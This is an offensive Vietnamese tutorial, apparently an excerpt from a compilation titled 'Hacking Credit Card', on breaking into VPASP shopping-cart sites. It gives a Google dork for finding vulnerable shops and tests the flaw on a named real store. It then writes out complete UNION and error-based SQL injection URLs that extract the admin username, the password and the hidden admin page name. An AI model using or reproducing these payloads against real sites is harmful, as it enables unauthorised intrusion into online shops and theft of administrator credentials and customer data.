TUTORIAL BY SEAMOUN

Một phần của tài liệu Hacking Credit Card (Trang 56 - 59)

Tơi thấy các bạn quan tâm nhiều đến hack shop VPASP, nên tơi viết một bài để các tham khảo, mặc dù cũ nhưng tơi thấy cũng cịn nhiều Web bị lỗi này.

VPASP khỏi cần nĩi các bạn cũng biết đĩ là Shopping Cart. Phiên bản bị lỗi SQL - Injection là 4.5 và 5.0 cịn những phiên bản mới thì tơi khơng cĩ source để

xem nĩ cịn lỗi gì hay khơng ?

Vì VPASP thường sử dụng cơ sở dữ liệu MS Access cho nên việc ngắt lệnh như SQL - Server là khơng thể cho nên chỉ

cịn một cách là hợp lệnh SQL để lấy kết quả. Thực hiện các bước sau:

Bước 1: Vào Google.com, tìm cụm từ sau: allinurl: shopdisplaycategories.asp. Bạn sẽ thấy ra cảđống site. Kiểm tra link xem cĩ bị lỗi SQL - Injection hay

khơng ? Bước 2:

Đối với phiên bản VPASP 4.5 thì lỗi tại file shopdisplaycategories.asp và shopdisplayproducts.asp. Ở phiên bản VPASP 5.0 thì đã sửa lỗi hai file trên nhưng

cịn một chỗ vẫn bị lỗi là file shopexd.asp Vắ dụ site sau:

http://www.hopscotchdressingup.co.uk/store/shopdisplayproducts.asp?id=8'&cat=Halloween.

Mặc dù ta đã thêm ' ở tại shopdisplayproducts.asp?id=8' nhưng vẫn khơng bị lỗi. Ta thử tiếp file link sau : http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=149'. Nĩ xuất hiện lỗi

HTTP 500 - Internal server error Internet Explorer

Bước 3:

Ta thực hiện gộp lệnh để lấy giá trị username và password như sau:

Link ban đầu :http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=149

Link gộp truy vấn : http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=-1 union select catalogid,ccode, fldusername%2b'/'% 2bfldpassword,cdescription,cprice,ccategory,cdescurl,features,cimageurl,cstock,w eight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,specialoffer,categor y,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,keywords,templ ate,extendedimage,extendeddesc,selectlist,level3,level4,level5,minimumquantity,s upplierid,crossselling,hide,productmatch,customermatch,orderattachment,orderdown load,groupfordiscount,clanguage,points,pointstobuy,price2,price3,billprice,billi

nstallments,billinstallmenttype,billinterval,maximumquantity,frontpage from products,tbluser where catalogid=149 .

Các bạn sẽ hỏi là cái đống hỗn độn ở link trên lấy ởđâu ra?Hì hì chỉđọc source VPASP mới biết nĩ gồm những trường nào trong bản product rồi từđĩ gộp

lệnh cho đủ các trường và thay thế trường tên của sản phầm bằng trường username và password. Sở dĩ ta phải cho id=-1 để ngắt lệnh SQL thứ nhất khi

hợp nhất thì nĩ sẽ thực hiện lệnh SQL thứ hai.

Sau khi hợp SQL ta sẽ cĩ kết quả user và password là "Sy87XXXXX/gL37ytXXXXX" là hai giá trịđược thay thế tại tên của sản phẩm.

Như vậy ta đã cĩ user và password của admin rồi. Mừng quá login vào shopadmin.asp thơi !. Thơng thường thì tên file Admin ControlPanel là

shopadmin.asp nếu như nĩ chưa đổi.

Bước 4: Ta truy cập vào http://www.hopscotchdressingup.co.uk/store/shopadmin.asp thử xem thế nào? Chà ! file nĩ

đổi tên mất rồi. Làm sao đây ? Tiếp tục gộp lệnh để lấy tên file đã thay đổi thơi !

Cũng với link http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=149 ta gộp lệnh như sau để lấy tên file truy cập vào Admin Control Panel.

http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=-1 union select catalogid,ccode,fieldvalue,cdescription, cprice,ccategory,cdescurl,features,cimag eurl,cstock,weight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,special offer,category,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,k eywords,template,extendedimage,extendeddesc,selectlist,level3,level4,level5,mini mumquantity,supplierid,crossselling,hide,productmatch,customermatch,orderattachm ent,orderdownload,groupfordiscount,clanguage,points,pointstobuy,price2,price3,bi llprice,billinstallments,billinstallmenttype,billinterval,maximumquantity,frontp age from products,configuration where fieldname='xadminpage' and catalogid=149 Sau khi thực hiện ta đã cĩ tên file truy cập vào Admin Control Panel là hopoff.asp

Như vậy ta cĩ thể truy cập đến file Admin. http://www.hopscotchdressingup.co.uk/store/hopoff.asp.

Lưu ý: Khi truy cập vào Admin Control Panel nếu gặp hai trường nhập password thì : một là ngồi thử hai là đi kiếm cái khác. Vì password thứ 2 là một hằng nên khơng thể dùng cách hợp lệnh để lấy được. Muốn lấy chắc viết email đến admin hỏi thử password thứ hai là gì, tơi đã cĩ password thứ nhất của you rơi !!! Hi hi hi

Đối với phiên bản VPASP 4.5 thì cũng làm tương tự như trên chỉ khác là ở chỗ gộp lệnh lấy username, password và tên file truy cập vào Admin Control

Panel (adsbygoogle = window.adsbygoogle || []).push({});

Vắ dụ : http://<site bị lỗi>/shopdisplaycategories.asp?id=1 chẳng hạn. Thì lệnh gộp lấy username, password và tên file admin như sau

http://<site bị lỗi>/shopdisplaycategories.asp?id=1 union select catalogid,ccode,fldusername%2b':'% 2bfldpassword, cdescription,cprice,ccategory,cdescurl,features,cimageurl,cstock,w

eight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,specialoffer,categor y,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,keywords,templ ate,extendedimage,extendeddesc,selectlist,level3,level4,level5,minimumquantity,s upplierid,crossselling,hide,productmatch,customermatch,orderattachment,orderdown

http://<site bị lỗi>/shopdisplaycategories.asp?id=1 union select catalogid,ccode,fieldvalue,cdescription,cprice, ccategory,cdescurl,features,cimag eurl,cstock,weight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,special offer,category,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,k eywords,template,extendedimage,extendeddesc,selectlist,level3,level4,level5,mini mumquantity,supplierid,crossselling,hide,productmatch,customermatch,orderattachm

ent,orderdownload,groupfordiscount,clanguage,points,pointstobuy,price2,price3 from products,tbluser,configuration where fieldname='xadminpage'

Site VPASP sử dụng cơ sở dữ liệu SQL - Server thì quá dễđể khai thác như sau http://<site bị lỗi>/shopdisplaycategories.asp?id=1

and%201=convert(int,(select%20top%201%20fldusername%2b'/'%2bfldpassword%20from%20tbluser))-- sp_password

http://<site bị lỗi>/shopdisplaycategories.asp?id=1 and%201=convert(int,(select top 1 fieldvalue from configuration where

fieldname='xadminpage'))--sp_password

Một phần của tài liệu Hacking Credit Card (Trang 56 - 59)